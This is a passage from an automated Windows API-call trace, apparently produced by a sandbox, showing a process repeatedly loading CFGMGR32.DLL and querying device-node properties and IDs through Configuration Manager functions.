GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.280] malloc (_Size=0x18) returned 0x196ef0d20a0 [0222.280] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.281] malloc (_Size=0x48) returned 0x196ef0fb860 [0222.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65579692, dwHighDateTime=0x1d9eb0c)) [0222.281] SetEvent (hEvent=0x248) returned 1 [0222.381] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.381] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.385] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0222.385] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.388] malloc (_Size=0x48) returned 0x196ef0fbae0 [0222.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x65685996, dwHighDateTime=0x1d9eb0c)) [0222.388] SetEvent (hEvent=0x248) returned 1 [0222.394] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.394] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.394] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.395] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.398] malloc (_Size=0x18) returned 0x196ef0d1be0 [0222.399] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1b, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0222.399] malloc (_Size=0x48) returned 0x196ef0fc120 [0222.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x656aa7ce, dwHighDateTime=0x1d9eb0c)) [0222.399] SetEvent (hEvent=0x248) returned 1 [0222.404] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.404] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.405] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.407] malloc (_Size=0x18) returned 0x196ef0d20e0 [0222.407] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1b, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0222.407] malloc (_Size=0x48) returned 0x196ef0fbae0 [0222.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x656aa7ce, dwHighDateTime=0x1d9eb0c)) [0222.407] SetEvent (hEvent=0x248) returned 1 [0222.411] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.411] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.412] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.413] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.415] malloc (_Size=0x18) returned 0x196ef0d1e60 [0222.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0222.415] malloc (_Size=0x48) returned 0x196ef0fb540 [0222.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x656d0a09, dwHighDateTime=0x1d9eb0c)) [0222.416] SetEvent (hEvent=0x248) returned 1 [0222.421] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.421] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.421] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.422] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.423] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.424] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.425] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.425] malloc (_Size=0x18) returned 0x196ef0d1d60 [0222.425] CM_Get_Device_IDA (in: dnDevInst=0x1c, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\GPE0_RESOURCES") returned 0x0 [0222.425] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0222.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x656d0a09, dwHighDateTime=0x1d9eb0c)) [0222.425] SetEvent (hEvent=0x248) returned 1 [0222.523] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.523] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.524] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.525] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.526] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.527] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0222.527] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0222.527] malloc (_Size=0x5a) returned 0x196ef0d0680 [0222.527] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608) returned 0x0 [0222.528] free (_Block=0x196ef0d0680) [0222.528] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0222.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x657dbf3d, dwHighDateTime=0x1d9eb0c)) [0222.528] SetEvent (hEvent=0x248) returned 1 [0222.532] malloc (_Size=0x18) returned 0x196ef0d2000 [0222.532] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0222.532] free (_Block=0x196ef0d2000) [0222.532] malloc (_Size=0x18) returned 0x196ef0d1da0 [0222.532] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0222.532] free (_Block=0x196ef0d1da0) [0222.532] malloc (_Size=0x18) returned 0x196ef0d1f00 [0222.532] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0222.533] free (_Block=0x196ef0d1f00) [0222.533] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0222.533] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0222.533] SafeArrayGetLBound (in: psa=0x196ef1f2770, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0222.533] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0222.533] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0222.533] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0222.533] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0222.533] SafeArrayGetElemsize (psa=0x196ef1f2770) returned 0x8 [0222.533] SafeArrayGetElement (in: psa=0x196ef1f2770, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0222.534] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.534] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.534] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e3e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0222.535] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0222.535] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0222.535] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.536] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.536] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.537] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.538] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.539] malloc (_Size=0x18) returned 0x196ef0d19e0 [0222.539] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0222.539] malloc (_Size=0x48) returned 0x196ef0fbd60 [0222.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x65801cd7, dwHighDateTime=0x1d9eb0c)) [0222.539] SetEvent (hEvent=0x248) returned 1 [0222.542] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.543] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.543] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.544] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 